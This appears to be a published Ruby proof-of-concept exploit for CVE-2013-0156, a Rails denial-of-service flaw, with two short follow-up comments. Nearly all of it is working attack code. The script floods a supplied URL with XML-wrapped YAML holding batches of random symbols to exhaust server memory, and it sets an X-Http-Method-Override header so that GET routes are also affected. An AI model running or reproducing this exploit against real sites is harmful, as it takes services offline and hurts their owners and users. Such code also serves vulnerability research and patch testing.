Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)

rails_dos.rb

#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)
#
# ## Advisory
#
#   https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Synopsis
#
#   $ rails_dos URL PARAM
#
# ## Dependencies
#
#   $ gem install ronin-support
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit.  If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @charliesome,
# @homakov, @envygeek, @chendo, @bitsweat (for introducing the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#

require 'ronin/fuzzing'
require 'ronin/network/http'
require 'ronin/ui/output'

include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers

unless ARGV.length == 2
  $stderr.puts "usage: #{$0} URL PARAM"
  exit -1
end

url   = ARGV[0]
param = ARGV[1]

width  = 15
batch  = 400

symbols = String.generate([:alpha, 1..width])

symbols.each_slice(batch).each_with_index do |symbols,i|
  yaml = ['---', *symbols.map { |symbol| ":#{symbol}: true" }].join("\n")

  xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<#{param} type="yaml">#{yaml}</#{param}>
  }.strip

  print_info "POSTing batch ##{i + 1} of #{batch} Symbols to #{url} ..."

  response = http_post(
    :url       => url,
    :headers   => {
      :content_type           => 'text/xml',
      :x_http_method_override => 'get'
    },
    :body      => xml
  )

  print_debug "Received #{response.code} response"
end

GET is also vulnerable since you can still have a request body for GETs.

@chendo Updated to use X-Http-Method-Override, now works against GET routes.